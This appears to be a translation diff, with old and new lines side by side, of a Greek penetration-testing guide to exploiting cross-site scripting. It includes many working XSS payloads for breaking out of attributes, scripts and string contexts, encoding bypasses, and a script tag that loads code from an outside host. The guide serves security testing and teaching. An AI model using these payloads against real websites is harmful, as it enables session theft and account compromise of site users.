1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML; 1. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;
2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`; 2. Μπορείτε να χρησιμοποιήσετε γεγονότα ή χαρακτηριστικά που υποστηρίζουν το πρωτόκολλο `javascript:`;
3. Μπορείτε να παρακάμψετε τις προστασίες; 3. Μπορείτε να παρακάμψετε τις προστασίες;
4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md). 4. Ερμηνεύεται το περιεχόμενο HTML από οποιαδήποτε μηχανή JS πελάτη (_AngularJS_, _VueJS_, _Mavo_...), θα μπορούσατε να εκμεταλλευτείτε μια [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/) ; 5. Αν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, θα μπορούσατε να εκμεταλλευτείτε μια [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
2. Μέσα σε μια **ετικέτα HTML**: 2. Μέσα σε μια **ετικέτα HTML**:
1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο; 1. Μπορείτε να βγείτε σε ακατέργαστο HTML πλαίσιο;
2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS; 2. Μπορείτε να δημιουργήσετε νέα γεγονότα/χαρακτηριστικά για να εκτελέσετε κώδικα JS;
@ -20,14 +20,14 @@
3. Μέσα σε **κώδικα JavaScript**: 3. Μέσα σε **κώδικα JavaScript**:
1. Μπορείτε να διαφύγετε από την ετικέτα `<script>`; 1. Μπορείτε να διαφύγετε από την ετικέτα `<script>`;
2. Μπορείτε να διαφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS; 2. Μπορείτε να διαφύγετε από τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;
3. Είναι η είσοδός σας σε template literals \`\` ; 3. Είναι η είσοδός σας σε template literals \`\`?;
4. Μπορείτε να παρακάμψετε τις προστασίες; 4. Μπορείτε να παρακάμψετε τις προστασίες;
4. Javascript **λειτουργία** που εκτελείται 4. Η **λειτουργία** Javascript εκτελείται
1. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: `?callback=alert(1)` 1. Μπορείτε να υποδείξετε το όνομα της λειτουργίας που θα εκτελεστεί. π.χ.: `?callback=alert(1)`
4. Αν **χρησιμοποιείται**: 4. Αν είναι **χρησιμοποιούμενη**:
1. Θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδός σας χρησιμοποιείται από οποιοδήποτε sink.** 1. Θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**, προσέξτε πώς ελέγχεται η είσοδός σας και αν η **ελεγχόμενη είσοδός σας χρησιμοποιείται από οποιοδήποτε sink.**
Όταν εργάζεστε σε μια σύνθετη XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για: Όταν εργάζεστε σε μια σύνθετη XSS μπορεί να βρείτε ενδιαφέρον να γνωρίζετε για:
{{#ref}} {{#ref}}
debugging-client-side-js.md debugging-client-side-js.md
@ -35,9 +35,9 @@ debugging-client-side-js.md
## Reflected values ## Reflected values
Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web. Για να εκμεταλλευτείτε επιτυχώς μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανάκλαται** στη σελίδα web.
- **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και του μονοπατιού αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**. - **Ενδιάμεσα αντανάκλαση**: Αν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και το μονοπάτι αντανάκλαται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
- **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**. - **Αποθηκευμένη και αντανάκλαση**: Αν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανάκλαται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
- **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**. - **Πρόσβαση μέσω JS**: Αν βρείτε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
@ -52,12 +52,12 @@ debugging-client-side-js.md
### Inside HTML tags attribute ### Inside HTML tags attribute
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να προσπαθήσετε: Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]` 1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="` 2. Αν μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`** 3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** 4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης: Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
```html ```html
@ -67,10 +67,10 @@ debugging-client-side-js.md
``` ```
### Μέσα στον κώδικα JavaScript ### Μέσα στον κώδικα JavaScript
Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**: Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το **`javascript:`** πρωτόκολλο:
- Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML. - Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): - Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
- `'-alert(1)-'` - `'-alert(1)-'`
- `';-alert(1)//` - `';-alert(1)//`
- `\';alert(1)//` - `\';alert(1)//`
@ -92,13 +92,13 @@ js-hoisting.md
### Javascript Function ### Javascript Function
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να συναντήσετε είναι κάτι σαν: `?callback=callbackFunc`. Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`.
Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως: Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως:
![](<../../images/image (711).png>) ![](<../../images/image (711).png>)
Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό ότι αυτά τα endpoints θα **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md
## Εισαγωγή μέσα σε ακατέργαστο HTML ## Εισαγωγή μέσα σε ακατέργαστο HTML
Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\ Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML κωδικοποιημένος** ή **διαγραμμένος** ή αν είναι **αντικατοπτρισμένος χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ή \*\*\*\*\*\***`--!>`\*\**_ &#xNAN;_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ή \*\*\*\*\*\***`--!>`\*\**_
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
@ -233,24 +233,24 @@ onerror=alert`1`
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw> <svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
``` ```
The last one is using 2 unicode characters which expands to 5: telsr\ Το τελευταίο χρησιμοποιεί 2 χαρακτήρες unicode που επεκτείνονται σε 5: telsr\
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\ Περισσότεροι από αυτούς τους χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121). Για να ελέγξετε σε ποιους χαρακτήρες είναι αποσυντεθειμένοι ελέγξτε [εδώ](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking ### Click XSS - Clickjacking
Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον **χρήστη να κάνει κλικ σε έναν σύνδεσμο ή μια φόρμα** με προγεμισμένα δεδομένα, μπορείτε να προσπαθήσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάλωτη). Αν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον **χρήστη να κάνει κλικ σε έναν σύνδεσμο ή μια φόρμα** με προγεμισμένα δεδομένα, μπορείτε να προσπαθήσετε να [**καταχραστείτε το Clickjacking**](../clickjacking.md#xss-clickjacking) (αν η σελίδα είναι ευάλωτη).
### Impossible - Dangling Markup ### Αδύνατο - Dangling Markup
Αν νομίζετε ότι **είναι αδύνατο να δημιουργήσετε μια ετικέτα HTML με ένα χαρακτηριστικό για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) γιατί θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**. Αν νομίζετε ότι **είναι αδύνατο να δημιουργήσετε μια ετικέτα HTML με ένα χαρακτηριστικό για να εκτελέσετε κώδικα JS**, θα πρέπει να ελέγξετε [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) γιατί θα μπορούσατε να **εκμεταλλευτείτε** την ευπάθεια **χωρίς** να εκτελέσετε **κώδικα JS**.
## Injecting inside HTML tag ## Εισαγωγή μέσα σε ετικέτα HTML
### Inside the tag/escaping from attribute value ### Μέσα στην ετικέτα/διαφυγή από την τιμή χαρακτηριστικού
Αν βρίσκεστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να προσπαθήσετε είναι να **ξεφύγετε** από την ετικέτα και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](./#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\ Αν είστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να προσπαθήσετε είναι να **διαφύγετε** από την ετικέτα και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](./#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
Αν **δεν μπορείτε να ξεφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα χαρακτηριστικά μέσα στην ετικέτα για να προσπαθήσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (_σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να ξεφύγετε από το χαρακτηριστικό, δεν θα τα χρειαστείτε αν η είσοδός σας ανακλάται απευθείας μέσα στην ετικέτα_): Αν **δεν μπορείτε να διαφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα χαρακτηριστικά μέσα στην ετικέτα για να προσπαθήσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (_σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το χαρακτηριστικό, δεν θα τα χρειαστείτε αν η είσοδός σας ανακλάται απευθείας μέσα στην ετικέτα_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -272,7 +272,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση** **Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML είναι **αποκωδικοποιημένοι κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>` Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι όπως το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**: Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
```javascript ```javascript
@ -303,7 +303,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
``` ```
### Ειδικά Πρωτόκολλα Μέσα στο attribute ### Ειδικά Πρωτόκολλα Μέσα στο attribute
Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτούν αλληλεπίδραση του χρήστη ενώ άλλα όχι. Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα **`javascript:`** ή **`data:`** σε ορισμένα μέρη για να **εκτελέσετε αυθαίρετο JS κώδικα**. Ορισμένα θα απαιτούν αλληλεπίδραση χρήστη ενώ άλλα όχι.
```javascript ```javascript
javascript:alert(1) javascript:alert(1)
JavaSCript:alert(1) JavaSCript:alert(1)
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B Android: %09 %20 %28 %2C %3B
``` ```
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφό πεδίο, σύνδεσμος, canonical, meta) ### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατό να εκμεταλλευτείτε τα κρυφά πεδία με:** Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:**
```html ```html
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" /> <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Εδώ είναι ο φορέας: Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Ακολουθεί ο φορέας:
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## Εισαγωγή μέσα στον κωδικό JavaScript ## Εισαγωγή μέσα στον κωδικό JavaScript
Σε αυτές τις περιπτώσεις η **είσοδός** σου θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`.
### Διαφυγή ετικέτας \<script> ### Διαφυγή ετικέτας \<script>
@ -489,7 +489,7 @@ onbeforetoggle="alert(2)" />
### Template literals \`\` ### Template literals \`\`
Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**: Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας: Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
```javascript ```javascript
@ -574,7 +574,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233) String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
``` ```
**JavaScript κενά** **Κενά διαστήματα JavaScript**
```javascript ```javascript
log=[]; log=[];
function funct(){} function funct(){}
@ -739,20 +739,20 @@ top[8680439..toString(30)](1)
## **Ευπάθειες DOM** ## **Ευπάθειες DOM**
Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\ Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:** **Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:**
{{#ref}} {{#ref}}
dom-xss.md dom-xss.md
{{#endref}} {{#endref}}
